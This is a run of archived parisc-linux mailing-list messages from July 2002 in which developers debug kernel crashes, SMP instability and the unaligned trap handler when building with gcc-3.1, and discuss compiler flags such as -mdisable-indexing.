To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 09:33:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8294F4854
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 09:33:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U6Tv-0000Uh-00; Mon, 15 Jul 2002 15:05:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200207101744.g6AHiKW0011045@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Wed, Jul 10, 2002 at 01:44:19PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15486

On Wed, Jul 10, 2002 at 01:44:19PM -0400, John David Anglin wrote:
> Moving the code to hpux11, this is the error that causes the crash:
> 
> stage1/xgcc -Bstage1/ -B/opt/gnu/hppa2.0w-hp-hpux11.11/bin/ -c -DIN_GCC    -g -O2 -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. -I. -I../../gcc/gcc -I../../gcc/gcc/. -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cfgbuil
> d.c -o cfgbuild.o
> Pi 16528 received a SIGSEGV for stck growth ailure.
> Possible caues: insufficient memory or swap space,
> or stack size exceeded maxssiz. 
> xgcc: Internal error: Segmentation fault (program cc1)

hrm.  i wonder what happens when we run off the top of the stack ...

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 17:52:01 +0200 (CEST)
Lines: 32
Approved: news@gmane.org
Message-ID: <1026748321.3d32efa170ebe@webmail.tiscalinet.be>
References: <200207151524.g6FFOqqE023640@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621517 10902 80.91.229.3 (22 Nov 2014 01:58:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:37 +0000 (UTC)
Cc: joel.soete@freebel.net, randolph@tausq.org,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 09:52:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF50C488E
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 09:52:12 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17U88n-0004O9-00; Mon, 15 Jul 2002 17:52:01 +0200
In-Reply-To: <200207151524.g6FFOqqE023640@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15487

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > (I just note on the sti console)
> > sshd (pid 322): illegal instruction (code 8)
> > ...
> > kernel panic...
> 
> This is just a guess but I will wager that this problem is related
> to the problems with expect, the cc1plus crash and the mmap issues
> noted
> elsewhere with SMP kernels.  There seem to be circumstances where the
> kernel crashes when a user application traps unexpectedly.
> 
> Joel, you should be able to run sshd under gdb and find what the
> cause of the illegal instruction is.  It should not be a problem
> to download and build 3.4p1 with gcc 3.2 from <http://www.openssh.org>.
> Build at -O1 with debugging enabled.  There are examples on their
> mail list on how to run sshd in debug mode.  If the situation is
> similar to the cc1plus crash, gdb will prevent the system from
> crashing when the fault occurs.
> 
Ok Dave,

I will have a look.

Thanks a lot,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 17:56:50 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <1026748610.3d32f0c2dec80@webmail.tiscalinet.be>
References: <20020712073628.GB8838@tausq.org> <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be> <20020712150139.GC8838@tausq.org> <1026491023.3d2f028f991a1@webmail.tiscalinet.be> <1026716599.3d3273b741097@webmail.tiscalinet.be> <1026717872.3d3278b080023@webmail.tiscalinet.be> <20020715150601.GG10191@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621518 10912 80.91.229.3 (22 Nov 2014 01:58:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:38 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 09:56:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B40748A4
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 09:56:54 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17U8DS-0004Rk-00; Mon, 15 Jul 2002 17:56:50 +0200
In-Reply-To: <20020715150601.GG10191@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15488

Quoting Randolph Chung <randolph@tausq.org>:

> > > Hmm I am also curious to test your .config file?
> 
> i'm using the default config...
> 
> arch/parisc/debian-config/64-smp

I will try (but I need to add md support now)

> 
> > How do you build gcc (3.1.1) natively or as crosscompiler (I do the
> last may be
> > it is the problem?)?
> 
> cross-compiler, hppa-linux->hppa64-linux
I just do hppa-linux->hppa-linux?

So I will first change my config file and let you inform.

Thanks for info,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Mon, 15 Jul 2002 09:15:26 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20020715161526.GI8724@tausq.org>
References: <200207101707.g6AH7xMS010810@hiauly1.hia.nrc.ca> <200207101744.g6AHiKW0011045@hiauly1.hia.nrc.ca> <20020715150543.M27706@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621518 10913 80.91.229.3 (22 Nov 2014 01:58:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:38 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	rhirst@linuxcare.com, grundler@dsl2.external.hp.com,
	varenet@esiee.fr, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 10:12:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3A0C489C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 10:12:05 -0600 (MDT)
Original-Received: (qmail 19316 invoked from network); 15 Jul 2002 16:12:04 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <willy@debian.org>; 15 Jul 2002 16:12:04 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A02A4CE04E; Mon, 15 Jul 2002 09:15:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020715150543.M27706@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15489

> hrm.  i wonder what happens when we run off the top of the stack ...

we seem to handle this properly at least most of the time.

i have tried various recursive function call cases and at least simple
tests don't crash the system (we just get a segfault)

randolph


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 09:22:30 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020715162230.GJ8724@tausq.org>
References: <1026716599.3d3273b741097@webmail.tiscalinet.be> <200207151524.g6FFOqqE023640@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621518 10915 80.91.229.3 (22 Nov 2014 01:58:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:38 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 10:19:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id B849948AE
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 10:19:06 -0600 (MDT)
Original-Received: (qmail 11620 invoked from network); 15 Jul 2002 16:19:04 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 15 Jul 2002 16:19:04 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A6034CE04E; Mon, 15 Jul 2002 09:22:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200207151524.g6FFOqqE023640@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15490

> This is just a guess but I will wager that this problem is related
> to the problems with expect, the cc1plus crash and the mmap issues noted
> elsewhere with SMP kernels.  There seem to be circumstances where the
> kernel crashes when a user application traps unexpectedly.

in at least some of the cases, i've seen one CPU is processing an
unaligned trap for a kernel space insn. i don't see how the particular
pieces of code that's causing the trap are unaligned tho (eg.
search_exception_table).

One thing about the unaligned handler is that it wlil fail silently
while handling "non-trivial" load/store insns. For example, it doesn't
handle the ma/mb or m/sm completors for displacement/indexed
load/stores.

It is possible that we haven't needed these in the past for kernel-space
with gcc-3.0, but gcc-3.[12] have different optimizations that
generate these instructions which we do not handle properly in unaligned
cases. Although I think this may just be masking an underlying problem.

I'm working on a more complete unaligned handler to see if that makes a
difference. Unfortunately I've found that sometimes when the kernel code
is modified in trivial ways (adding printk's, etc) the behaviors become
quite different. This definitely suggests some kind of cache flushing
problem as Grant described elsewhere.

randolph


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 13:13:27 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200207151713.g6FHDRN3024823@hiauly1.hia.nrc.ca>
References: <20020715162230.GJ8724@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621519 10917 80.91.229.3 (22 Nov 2014 01:58:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:39 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 11:13:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 983DF4864
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 11:13:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6FHDS00024825;
	Mon, 15 Jul 2002 13:13:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6FHDRN3024823;
	Mon, 15 Jul 2002 13:13:27 -0400 (EDT)
In-Reply-To: <20020715162230.GJ8724@tausq.org> from "Randolph Chung" at Jul 15, 2002 09:22:30 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15491

> in at least some of the cases, i've seen one CPU is processing an
> unaligned trap for a kernel space insn. i don't see how the particular
> pieces of code that's causing the trap are unaligned tho (eg.
> search_exception_table).
> 
> One thing about the unaligned handler is that it wlil fail silently
> while handling "non-trivial" load/store insns. For example, it doesn't
> handle the ma/mb or m/sm completors for displacement/indexed
> load/stores.

Is --disable-indexing used in kernel builds?  This should stop gcc
from generating the above.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 13:21:07 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <200207151721.g6FHL72e024968@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621519 10919 80.91.229.3 (22 Nov 2014 01:58:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:39 +0000 (UTC)
Cc: tausq@debian.org, joel.soete@freebel.net,
	parisc-linux@parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 11:21:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBF4E48A8
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 11:21:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6FHL800024969;
	Mon, 15 Jul 2002 13:21:08 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6FHL72e024968;
	Mon, 15 Jul 2002 13:21:07 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Jul 15, 2002 01:13:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15492

> Is --disable-indexing used in kernel builds?  This should stop gcc
> from generating the above.

Oops, that should be "-mdisable-indexing".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 10:32:33 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20020715173233.GK8724@tausq.org>
References: <200207151721.g6FHL72e024968@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621519 10921 80.91.229.3 (22 Nov 2014 01:58:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:39 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 11:28:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64D7E48AF
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 11:28:39 -0600 (MDT)
Original-Received: (qmail 17045 invoked from network); 15 Jul 2002 17:28:38 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 15 Jul 2002 17:28:38 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8781ACE04E; Mon, 15 Jul 2002 10:32:33 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200207151721.g6FHL72e024968@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15493

In reference to a message from John David Anglin, dated Jul 15:
> > Is --disable-indexing used in kernel builds?  This should stop gcc
> > from generating the above.
> 
> Oops, that should be "-mdisable-indexing".

right now we use:
-Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer
-fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=2.0 -mschedule=8000

(the last two are only for pa8x00 builds...)

i'll try the disable-indexing stuff...

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 19:27:23 +0200 (CEST)
Lines: 13
Approved: news@gmane.org
Message-ID: <1026754043.3d3305fb95e95@webmail.tiscalinet.be>
References: <200207151713.g6FHDRN3024823@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621520 10926 80.91.229.3 (22 Nov 2014 01:58:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:40 +0000 (UTC)
Cc: tausq@debian.org, joel.soete@freebel.net,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 11:28:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71FC948B4
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 11:28:39 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17U9d5-0001RE-00; Mon, 15 Jul 2002 19:27:23 +0200
In-Reply-To: <200207151713.g6FHDRN3024823@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
